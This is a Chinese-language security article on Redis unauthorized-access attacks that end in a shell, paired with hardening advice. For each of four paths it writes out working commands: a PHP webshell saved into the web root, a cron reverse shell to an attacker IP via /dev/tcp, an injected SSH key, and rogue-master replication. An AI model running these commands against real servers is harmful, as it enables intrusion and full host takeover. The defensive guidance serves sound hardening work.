?Redis作為高性能內存數據庫，若配置不當（特別是未授權訪問），將面臨極高安全風險。攻擊者可利用漏洞實現遠程代碼執行（GetShell），嚴重威脅數據安全與服務器控制權。本文深入剖析此類漏洞的核心原理與攻擊路徑，并重點提供全面、有效的加固方案，幫助開發者和運維人員構建安全的Redis環境。?

當Redis服務滿足以下條件時，會有shell方法：

1.? 綁定公網IP： `bind 0.0.0.0` 或未正確限制綁定地址。
2.? 缺乏認證： 未設置 `requirepass` 或使用弱密碼。
3.? 權限過高： Redis進程用戶擁有對關鍵系統目錄（如Web根目錄、Cron目錄、SSH目錄）的寫入權限。
4.? 高危命令未禁用： `CONFIG`, `SAVE`, `SLAVEOF` 等命令可被攻擊者利用。

攻擊者一旦通過網絡訪問到未授權Redis服務，即可嘗試多種路徑實現GetShell。

?攻擊路徑分析與防御方案

?路徑一：Web目錄寫入惡意文件 (WebShell)

? ?原理簡述： 攻擊者利用`CONFIG SET`命令修改Redis數據持久化路徑(`dir`)和文件名(`dbfilename`)，指向Web服務器目錄（如`/var/www/html`），并將惡意代碼（如PHP WebShell）作為鍵值寫入數據庫，最后通過`SAVE`命令將數據持久化到磁盤文件。訪問該Web文件即可執行任意命令。

1.連接Redis??

使用redis-cli連接目標Redis：

redis-cli -h 目標IP -p 6379

?2. 修改Redis配置??

通過CONFIG SET命令設置數據庫存儲路徑和文件名：

CONFIG SET dir /var/www/html # 修改存儲路徑為Web目錄CONFIG SET dbfilename shell.php # 設置文件名為shell.ph

?3. 寫入惡意腳本??

使用SET命令寫入PHP WebShell內容：

SET shell "<?php system($_GET['cmd']);?>"

?4. 保存配置??

執行SAVE命令將數據持久化到磁盤：

SAVE

此時/var/www/html/shell.php文件已生成，可通過瀏覽器訪問http://目標IP/shell.php?cmd=whoami驗證。

? ?防御關鍵點：
禁止Redis寫入Web目錄： 嚴格限制Redis進程用戶權限，確保其無權訪問Web根目錄及其子目錄。
禁用高危命令： 在`redis.conf`中禁用`CONFIG`和`SAVE`命令。
```conf
rename-command CONFIG ""
rename-command SAVE ""? ?或根據業務需求重命名為復雜字符串
```
隔離部署： Redis服務應與Web應用服務器部署在不同的安全域或容器中。

方法二：利用定時任務(Cron)執行反彈Shell

? ?原理簡述： 攻擊者修改Redis持久化路徑指向系統定時任務目錄（如`/var/spool/cron/`），設置文件名（如`root`），并將包含反彈Shell命令的字符串作為鍵值寫入。`SAVE`后，系統會定時執行該命令，攻擊者監聽端口即可獲得Shell。

1.. 連接Redis并修改配置??

redis-cli -h 目標IP -p 6379CONFIG SET dir /var/spool/cron/  # 修改存儲路徑為cron目錄CONFIG SET dbfilename root      # 文件名為root（針對root用戶的cron）

2. 寫入反彈Shell命令??

反彈Shell到攻擊機（假設攻擊機IP為192.168.1.100，端口4444）：

SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"

? ? ??注意??：

? ? ? ? \n\n用于避免破壞cron文件格式。
定時任務每分鐘執行一次，連接攻擊機。

3. 保存配置??

SAVE

攻擊機監聽端口：

nc -lvvp 4444

若連接成功，可執行任意命令（如whoami）。

? ?防御關鍵點：
嚴格限制目錄權限： Redis進程用戶絕對禁止擁有對`/var/spool/cron/`及其下文件的寫入權限。使用最小權限原則運行Redis（如專用低權用戶`redis`）。
監控Cron目錄： 部署文件完整性監控或安全Agent，監控`/var/spool/cron/`目錄的異常變更。
禁用`SAVE`命令： 同上。

方法三：寫入SSH公鑰實現免密登錄

? ?原理簡述： 攻擊者修改Redis持久化路徑指向目標用戶（通常是root）的`.ssh`目錄，設置文件名為`authorized_keys`，并將攻擊者的公鑰作為鍵值寫入。`SAVE`后，攻擊者即可使用對應私鑰直接SSH登錄服務器。

1. 生成SSH密鑰對??

在攻擊機上生成密鑰對（若已有可跳過）：

ssh-keygen -t rsa  # 默認保存到~/.ssh/id_rsa.pub

?2. 連接Redis并修改配置??

redis-cli -h 目標IP -p 6379CONFIG SET dir /root/.ssh/ # 修改存儲路徑為.ssh目錄CONFIG SET dbfilename authorized_keys # 文件名為authorized_keys

?3. 寫入公鑰??

將公鑰內容寫入Redis（需替換實際公鑰）：

SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻擊機公鑰內容..."

?4. 保存配置??

SAVE

攻擊機直接SSH登錄目標服務器：

ssh root@目標IP

無需密碼即可登錄。

? ?防御關鍵點：
保護.ssh目錄： Redis進程用戶必須無權訪問任何用戶的`.ssh`目錄（尤其是`/root/.ssh/`）。確保`.ssh`目錄權限為`700`，`authorized_keys`文件權限為`600`。
禁用`SAVE`命令： 同上。
考慮禁用密碼登錄： 對于關鍵服務器，可配置SSH僅允許密鑰認證。

方法四：惡意主從復制 (Master-Slave Replication)

? ?原理簡述： Redis主從復制時，從節點會加載主節點生成的RDB文件。攻擊者搭建惡意Redis主節點，構造包含惡意模塊或特殊載荷的RDB文件。誘騙目標Redis（未授權）執行`SLAVEOF`命令指向惡意主節點后，目標Redis加載惡意RDB文件時觸發代碼執行。

1. 攻擊機生成惡意RDB文件??

? ? 使用redis-rogue-server工具（需Python環境）生成包含惡意模塊的RDB文件：

    git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-serverpip3 install -r requirements.txtpython3 redis-rogue-server.py --rhost 目標IP --lhost 攻擊機IP

? 工具會自動生成惡意RDB文件并啟動監聽。

2. 配置目標Redis為主從復制??

在攻擊機上執行：

   redis-cli -h 目標IP -p 6379SLAVEOF 攻擊機IP 6379  # 將目標Redis設為從節點，連接攻擊機CONFIG SET masterauth ""  # 若主節點有密碼需配置（此處無密碼）

目標Redis會嘗試從攻擊機拉取RDB文件并加載，觸發惡意代碼執行。

3. 獲取反彈Shell??

攻擊機監聽端口（如4444）：

nc -lvvp 4444

? ?防御關鍵點：
禁用未授權Redis的主從復制： 對于暴露在風險中的Redis，禁止其作為從節點連接不可信主節點。可通過配置或防火墻規則限制。
設置`masterauth`： 如果必須使用主從復制，主節點必須設置強密碼，并在從節點配置`masterauth`。
設置`replica-read-only yes`： 確保從節點是只讀的（默認行為）。
及時升級： 保持Redis版本為最新，修復已知的漏洞。

?三、 redis預防shell

1.? 最小化網絡暴露?
禁止公網綁定： `bind 127.0.0.1` (或內網可信IP)，絕對避免 `bind 0.0.0.0`。
防火墻封鎖： 使用系統防火墻或云安全組，嚴格限制訪問Redis端口(默認6379)的源IP，僅允許必要的應用服務器或管理IP訪問。

2.? 啟用強密碼認證：
在`redis.conf`中設置復雜密碼：`requirepass YourVeryStrongPasswordHere!@`。密碼需足夠長（>16字符）、包含大小寫字母、數字、特殊字符，并定期更換。

3.? 以最小權限運行：
創建專用低權限用戶（如`redis`）來運行Redis服務：`useradd -r -s /bin/false redis`。
確保該用戶僅擁有操作Redis自身數據文件和配置文件的必要權限，無權寫入任何系統目錄或敏感目錄。

4.? 禁用高危命令：
在`redis.conf`中禁用或重命名關鍵命令：
```conf
rename-command FLUSHALL? ? 清空所有數據庫
rename-command CONFIG? ? 修改配置
rename-command SHUTDOWN? ? ?關閉服務器
rename-command SAVE? ? ? ? ? ? 阻塞式持久化 (考慮業務需求)
rename-command BGSAVE? ? ? ? ? 后臺持久化 (考慮業務需求)
rename-command SLAVEOF? ? ? ? ?主從復制
rename-command EVAL? ? ? ? ? ? 執行Lua腳本
如需使用，重命名為復雜不易猜測的名字
rename-command CONFIG "S0m3R4nd0mUnGu3$$4bl3Str1ng"
```

5.? 啟用保護模式： `protected-mode yes` (默認開啟)。當未設置`bind`且沒有密碼時，此模式會拒絕外部連接。

6.? 配置文件和目錄權限：
確保`redis.conf`及Redis數據目錄(`dir`)的權限嚴格，僅允許Redis用戶和必要管理員訪問。
`chown -R redis:redis /path/to/redis/data`
`chmod 700 /path/to/redis/data`
`chmod 600 /path/to/redis/redis.conf`

7.? 啟用日志記錄與監控：
配置`logfile`路徑和`loglevel notice` (或`warning`)。
集中收集和分析Redis日志，監控異常登錄嘗試、高危命令執行（如果未被禁用）、配置變更等。
使用Prometheus+Grafana或云監控服務監控Redis性能指標。

8.? 定期更新與打補丁： 關注Redis官方安全公告，及時升級到穩定版本。

9.? 安全審計：
定期使用`redis-cli -a yourpassword --no-auth-warning CONFIG GET ` (或使用其他安全工具)審計配置項，檢查是否有未授權的修改。
審計系統關鍵目錄（`/var/www/`, `/var/spool/cron/`, `~/.ssh/`）的文件列表和權限。

?四、 總結

Redis的未授權訪問漏洞是極其嚴重的安全隱患，直接導致服務器被完全控制。防御的核心在于“阻斷攻擊路徑”和“最小化風險暴露”：

1.? 網絡隔離： 絕不暴露在公網，嚴格控制訪問源。
2.? 強認證： 必須設置復雜密碼。
3.? 最小權限： Redis進程權限必須嚴格受限。
4.? 命令管控： 禁用或重命名高危命令（特別是`CONFIG`, `SAVE`, `SLAVEOF`）。
5.? 縱深防御： 結合防火墻、權限控制、日志監控、定期審計等多層防護。

通過實施上述全面的安全加固措施，可以有效抵御利用Redis未授權訪問漏洞進行的GetShell攻擊，保障Redis服務及底層服務器的安全穩定運行。安全配置應作為Redis部署的標準步驟，而非事后補救措施。